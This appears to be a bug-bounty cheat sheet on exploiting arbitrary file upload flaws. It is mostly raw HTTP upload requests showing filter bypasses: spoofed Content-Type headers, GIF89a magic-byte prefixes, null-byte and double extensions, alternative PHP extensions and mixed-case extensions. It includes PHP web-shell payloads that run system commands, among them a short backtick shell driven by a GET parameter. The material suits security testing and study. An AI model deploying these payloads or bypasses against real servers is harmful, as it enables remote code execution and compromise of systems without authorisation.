Arbitrary File Upload

Introduction

An arbitrary file upload vulnerability is a type of security flaw that allows an attacker to upload malicious files onto a server.

Where to find

In upload file feature, for example upload photo profile feature

How to exploit

Change the Content-Type value

POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php

Change the Content-Type

POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/jpeg

Try to change the extension when send the request, for example in here you cant upload file with ext php but you can upload jpg file

POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php.jpg"
Content-Type: application/x-php

Change the request to this

POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: application/x-php

Upload the payload, but start with GIF89a; and

POST /images/upload/ HTTP/1.1
Host: target.com
...

---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="dapos.php"
Content-Type: image/gif

GIF89a; <?php system("id") ?>

And dont forget to change the content-type to image/gif

Bypass content length validation, it can be bypassed using small payload
```
(<?=`$_GET[x]`?>)
```
Using null byte in filename
```
file.php%00.gif
```
Using double extensions for the uploaded file
```
file.jpg.php
```
Uploading an unpopular php extensions (php4,php5,php6,phtml)
```
file.php5
```
Try to randomly capitalizes the file extension
```
file.pHP5
```
Mix the tips!